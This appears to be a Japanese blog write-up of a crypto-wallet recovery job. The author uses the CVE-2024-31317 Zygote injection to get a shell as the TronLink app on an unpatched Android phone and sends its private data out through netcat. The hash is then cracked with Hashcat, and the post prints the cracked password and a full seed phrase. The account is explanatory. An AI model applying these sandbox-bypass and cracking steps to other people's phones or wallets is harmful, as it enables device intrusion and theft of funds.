クライアントから依頼が飛び込んできた。よくあるやつだ。TRONのウォレットがスマホに入っているが、seed phraseはとっくにゴミ箱行き、アプリのパスワードも思い出せない。金はブロックチェーン上に見えてるのに触れない。幸い、スマホはまだ手元にあり、何も消していない。料金を決めて、何ができるか調べ始める。

涼宮ハルヒの憂鬱の長門有希

こういうケースではまず全部メモする。どんな小さいことでもヒントになるかもしれない:

  • 機種: Galaxy A31
  • Android: 12
  • 最終アップデート: 2024年1月
  • アプリ: TronLink Pro
  • パスワードルール: 最低8文字、大文字1つ、小文字1つ、数字1つ

クライアントにパスワードについて覚えていることを全部聞き出す。単語、数字、記号、名前、ニックネーム、家族、日付、パターン、何でもいい。アプリを開いて手動でいくつか試すと、数回で1時間ロックされた。

TronLink Proのウォレット作成画面、パスワード要件が表示されている

この方法では無理なので、作業を2つに分ける:

  1. 暗号化されたウォレットを壊さずにスマホから抜き出す
  2. PCに持ってきてオフラインでパスワードをcrackする(UIのrate limitなし)

ここで書いている内容はすべてこのリポジトリに再現してある:

https://github.com/astrovm/2026-03-tronlink-wallet-recovery-reference

フェーズ1: スマホからウォレットを抜き出す#

TronLinkの機密データはアプリのプライベートディレクトリに保存されている:

/data/data/com.tronlinkpro.wallet

このディレクトリにアクセスできるのはアプリ自身とrootだけ。もちろんスマホはroot化されていない。root化も選択肢にならない。Samsung端末の多くはbootloaderのアンロックで全データが消えるからだ。

Androidの初期はメーカーがアンロックを許可しておらず、各バージョン固有の脆弱性に頼ってrootを取っていたから、データを失わずにroot化するのが普通だった。今はデフォルトで全消去する公式の方法が使われている。

rootなしで侵入する方法を探す#

まず既知の脆弱性を探すのが筋だ。ここで運がいい。Galaxy A31のソフトウェアはかなり古い。Android 12、セキュリティパッチは2024年1月。つまり2年分の公開済み脆弱性がパッチされずに残っている。さあ、この手の仕事で一番楽しいところだ。

Grokに聞きながら CVE-2024-31317 にたどり着いた。ZygoteProcess.javaのバグで、2024年6月にパッチされたもの。このexploitを使うとデバイス上の任意のアプリの権限でコードを実行できる。rootは不要。adbさえあればいい。このexploitはOxygenなどのフォレンジックソフトでも使われていて、世界中の警察や情報機関がスマホからデータを抽出するのに利用している。

Galaxy A31はこのパッチを受け取っていないので、exploitが効く。最高。まず仕組みを理解するところからだ。

Matrixが見える

exploitの仕組み#

このバグ、別のところから入らないと分からない。Androidにはhidden_api_blacklist_exemptionsSettings.Global内)というグローバル設定がある。Googleが特定のシステムアプリに対して、隠しAPIへの制限なしアクセスを許可するために使うものだ。adb shellから書き込めるのは、このコンテキストが既にWRITE_SECURE_SETTINGS権限を持っているからだ。

で、この設定を読むのは誰か? Zygoteだ。ZygoteはAndroidのユーザランドで全アプリを起動する特権プロセス。アプリを一から作る代わりに、ランタイムをプリロード済みのZygoteが自身をforkして、その子プロセスが必要なアプリに変身する。カーネルとアプリの間にいるため、非常にセンシティブなポイントだ。

バグの核心は、Zygoteがhidden_api_blacklist_exemptionsの値を改行をサニタイズせずに受け取ること。設定値に\nを入れれば、Zygoteプロトコルに完全なコマンドをインジェクションできる。Zygoteは自分のUIDを変更できるので、--setuid--setgid--app-data-dir--package-nameといったコマンドを受け付ける。つまり「TronLinkとしてプロセスを起動しろ」と指示できる。そしてZygoteはその通りにする。生成されたプロセスはアプリの正確なアイデンティティを持ち、プライベートファイルへの完全なアクセス権がある。

ただし、設定を書き込むだけでは不十分。Zygoteは自動的に再読み込みしない。AndroidのSettingsアプリを強制再起動する必要がある(am force-stop com.android.settingsしてからam start)。Settingsが起動すると、ソケット経由でグローバル設定をZygoteに再送し、そこでZygoteが変更された値をパースしてインジェクションされたコマンドを実行する。

さらに厄介なことに、Android 12以降でGoogleはNativeCommandBufferを追加した。あふれたバイトを捨てるバッファだ。payloadを直接送ると、バッファが一杯になって全部捨てられる。解決策は、まず約8192バイトのpaddingを送ってflushを強制し、本体の引数が別の書き込みで届くようにすること。

これが動くにはAndroid 9-14で2024年6月のパッチが未適用、かつadb shell(デフォルトでWRITE_SECURE_SETTINGSを持っている)が必要。重要な注意点:設定を変更したままスマホを再起動するとboot loopに入る。だから後始末は絶対にやらなきゃダメ。

このリポジトリにはめちゃくちゃ助けられた:

まずエミュレータで試す#

実機を触る前に、同じ環境を再現するエミュレータを立ち上げる。

Android 12 (API 31) エミュレータのホーム画面、テスト準備完了

同じバージョンのTronLinkをインストールし、テスト用ウォレットを作成して、exploit全体を再現していく。

adbからエミュレータが見えることを確認:

$ adb devices
List of devices attached
emulator-5554   device

TronLinkのUIDを取得:

$ adb shell pm dump com.tronlinkpro.wallet | grep userId
    userId=10145

Geminiの力も借りてzygote-injection-toolkitのバグをいくつか直して、今回のケースに合わせた。payloadにはZygoteにTronLinkのアイデンティティでプロセスを起動させるための正確なフラグが必要:

  • --setuid--setgidにアプリのUID
  • --setgroups=3003(inet、プロセスがソケットを使えるようにするため)
  • --app-data-dir=/data/user/0/com.tronlinkpro.wallet
  • --package-name=com.tronlinkpro.wallet
  • --target-sdk-version=30
  • --is-top-app
  • --seinfo=default:targetSdkVersion=30:complete

これらすべてをrepro.pyにまとめた。Android 12+用のpaddingを含むpayloadを組み立て、adb shell経由でインジェクションし、Settingsの再起動を強制して読み込みをトリガーし、localhostでnetcatが起動するのを待つ。うまくいけば、TronLinkのアイデンティティでreverse shellが得られる。失敗したら、スマホを壊さないように設定をクリーンアップする。

$ uv run repro.py --uid 10145 --gid 10145
Injecting payload for UID 10145 and package com.tronlinkpro.wallet...
Injection sent. Waiting for listener...
Listener is UP!

Listener is UP!。動いた。入れることが確認できた。あとは本番の実機でやるだけ。ミスできない。

完全なdumpを抽出する#

実機でも同じ手順を再現する。同じステップ、同じスクリプト。動いた。中に入れた。

ファイルを一つずつ取る代わりに、全部まとめて圧縮してPCにnetcatで直接送る:

$ printf "tar -czC /data/data/com.tronlinkpro.wallet . | base64; exit\n" | nc 127.0.0.1 1234 | base64 -d > recovery.tar.gz

ファイル転送

これでアプリデータを丸ごと取得:shared_prefsdatabases、など。フェーズ1完了。クライアントのスマホはroot化なし、bootloaderアンロックなし、何も壊さずにそのまま。必要なものはPCに入った。

フェーズ2: オフラインでパスワードをcrackする#

ここが全部パーになるかどうかの勝負どころだ。dumpを調べて、鍵となるファイルはこれ:

recovery/shared_prefs/carlitosmenem991.xml

中身は全部入っている:

  • wallet_name_key: carlitosmenem991
  • wallet_address_key: TFbkzYHUvCVuybLKRQuDQmpNYw3HaViyvd
  • wallet_keystore_key: 暗号化されたkeystore(秘密鍵、パスワードで保護)
  • wallet_newmnemonic_key: 暗号化されたseed phrase(同じパスワードで保護)

dump内の他のXMLと照合して正しいウォレットであることを確認する:

  • f_TronKey.xmlで、selected_wallet_keycarlitosmenem991を指している
  • f_Tron_3.8.0.xmlで、key_recently_walletにもcarlitosmenem991がリストされている

暗号化の仕組み#

TronLinkはEthereumウォレットと同じスキーム(V3 keystore)を使っている。パスワードはscrypt(n=16384, r=8, p=1、意図的に遅くメモリを食う)を通り、32バイトが生成される。前半16バイトがAES-128-CTRで秘密鍵を暗号化し、後半16バイトがMAC(keccak256)を生成してkeystoreに保存される。

候補をテストするにはscryptを実行し、MACを計算して、保存されているものと比較する。問題はscryptが設計上重いこと:良いGPUでも毎秒数千回程度で、MD5のように数十億回とはいかない。だからどのパスワードを試すかが非常に重要になる。

Hashcat用にhashを抽出する#

tools/extract_hash.pyを作成。XMLを読み、keystoreのJSONを取り出し、Hashcatが理解するフォーマット(モード15700、Ethereum wallet)に変換する:

$ uv run tools/extract_hash.py recovery/shared_prefs/carlitosmenem991.xml > target.hash
$ cat target.hash
$ethereum$s*16384*8*1*2ef2a618edbf5185c6e7062a39d5dcdb81ba683dc2f8ca01ce8ed8c5959bb12c*cc8bab0bc8701e9af687a4b4b6b527f962de582efb029b507fc90cfc393ecfd5*ffcf36eb0aaee16f676049a12307e247a868133dbd1d8c956cee6682f54b0704

実データに取りかかる前に、エミュレータのテスト用ウォレットでフロー全体を検証。完璧に動いたので、クライアントのデータで繰り返す。

人間のパターンを攻撃する#

scryptがある以上、純粋なbrute forceは現実的でない。全組み合わせを試すと文字通り何年もかかる。幸い人間はランダムなパスワードを作らない。名前、日付、ニックネーム、自分にとって意味のあるものを使う。だからクライアントから聞いた情報とXMLから得た情報を全部まとめる。

クライアントからは家族の名前、ニックネーム、姓を得た:carlos、carlitos、turco、zulemita、menem、saul。意味がありそうな数字:7、91、991、1991。よく使われる記号:#、.、!、@。dumpからはウォレット名(carlitosmenem991)を既に持っていた。

Codexの助けを借りてPythonのフレームワークsmart_recovery/を構築。これらのseedを全部受け取って、確率が高い順に並べたwordlistを吐き出す。ウォレットのルール(8文字以上、大文字・小文字・数字)を満たさないものは除外するので、あり得ない組み合わせに時間を無駄にしない。

考え方としては、優先度別にパターンファミリーを生成し、確率の高いものから消化してからbrute forceに落ちるようにする。いくつかのファミリー:

ファミリーパターン
compose.name-number名前 + 数字Carlitos7, Turco1991, Zulemita91
compose.name-extension-number名前 + 姓 + 数字CarlitosMenem7, Turcosaul991, Carlossaul91
compose.name-number-symbol名前 + 数字 + 記号Carlitos7!, Turco1991#, Zulemita7@
mutate.toggle-case-*上記の全大文字小文字バリエーションtURCOSAUL7, tuRcosaul7, CARLITOS7!

各ファミリーは大文字小文字のバリエーション(carlitosmenemCarlitosMenemCarlitosmenem)、順序(Turco77Turco)、オプションの記号(Turcosaul7Turcosaul7!Turcosaul!7)を生成する。mutate.*ファミリーはさらに踏み込んで、hashcatのルールを使い、wordlistを展開せずにGPU上で直接大文字小文字の全組み合わせを試す。フレームワークは実行間で状態を保存するので、同じ作業を繰り返さない。

Hashcatに投げて、寝る。

uv run -m smart_recovery run --hash-file target.hash --seed-file note_seeds.json --recovery-root recovery
Hashcat、Ethereum Wallet SCRYPTモードで攻撃の進捗を表示中

検証やテスト、各種実行を含めて約30時間後… CRACKED。

Hashcat、正しいパスワード発見後にCrackedステータスを表示
$ethereum$s*16384*8*1*2ef2a618edbf5185c6e7062a39d5dcdb81ba683dc2f8ca01ce8ed8c5959bb12c*cc8bab0bc8701e9af687a4b4b6b527f962de582efb029b507fc90cfc393ecfd5*ffcf36eb0aaee16f676049a12307e247a868133dbd1d8c956cee6682f54b0704:Turcosaul7

ニックネーム + 二番目の姓 + 数字。“Turco” + “saul” + “7” = Turcosaul7

フェーズ3: seedを復元して資金を回収する#

パスワードが手に入れば、あとはもう流れ作業だ。同じパスワードがkeystoreとmnemonicの両方を保護しているので、片方が分かれば全部手に入る。

tools/decrypt_mnemonic.pyを作成。XMLから暗号化されたmnemonicを読み取り、パスワードで復号してseed phraseを出力する。

$ uv run tools/decrypt_mnemonic.py recovery/shared_prefs/carlitosmenem991.xml Turcosaul7
stock dirt cat upset chat giraffe page blade face slush volcano dawn

別のデバイスにウォレットをインポートして、資金を引き出す。


結局、いろんなことがうまく噛み合った結果だった。スマホがずっと手元に残っていて、Androidがパッチされておらず、exploitが何も壊さずに動き、パスワードが人間の予測可能なパターンに従っていて、クライアントが検索空間を絞れるだけのヒントを覚えていた。

これらのどれか一つでも違っていたら、資金は永遠にそこで動かせないままだっただろう。だからseedはちゃんと管理しとけ。次は都合のいいCVEがあるとは限らないぞ。

参考文献#